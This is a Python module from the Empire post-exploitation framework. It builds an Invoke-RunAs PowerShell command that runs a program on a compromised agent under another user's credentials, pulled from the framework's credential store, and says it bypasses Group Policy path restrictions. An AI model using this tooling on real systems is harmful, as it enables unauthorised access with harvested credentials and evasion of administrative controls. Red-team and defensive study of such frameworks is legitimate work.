Empire/lib/modules/management/runas.py

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from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-RunAs',
'Author': ['rvrsh3ll (@424f424f)'],
'Description': ('Runas knockoff. Will bypass GPO path restrictions.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/RunAs.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Optional domain.',
'Required' : False,
'Value' : ''
},
'UserName' : {
'Description' : 'Username to run the command as.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'Password for the specified username.',
'Required' : False,
'Value' : ''
},
'Cmd' : {
'Description' : 'Command to run.',
'Required' : True,
'Value' : 'notepad.exe'
},
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'Arguments' : {
'Description' : 'Optional arguments for the supplied binary.',
'Required' : False,
'Value' : ''
},
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'ShowWindow' : {
'Description' : 'Switch. Show the window for the created process instead of hiding it.',
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'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common powerup.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-RunAs.ps1"
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try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
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script = f.read()
f.close()
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script += "\nInvoke-RunAs "
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# if a credential ID is specified, try to parse
credID = self.options["CredID"]['Value']
if credID != "":
if not self.mainMenu.credentials.is_credential_valid(credID):
print helpers.color("[!] CredID is invalid!")
return ""
(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
if credType != "plaintext":
print helpers.color("[!] A CredID with a plaintext password must be used!")
return ""
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if domainName != "":
self.options["Domain"]['Value'] = domainName
if userName != "":
self.options["UserName"]['Value'] = userName
if password != "":
self.options["Password"]['Value'] = password
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if self.options["Domain"]['Value'] == "" or self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
print helpers.color("[!] Domain/UserName/Password or CredID required!")
return ""
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for option,values in self.options.iteritems():
if option.lower() != "agent" and option.lower() != "credid":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
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return script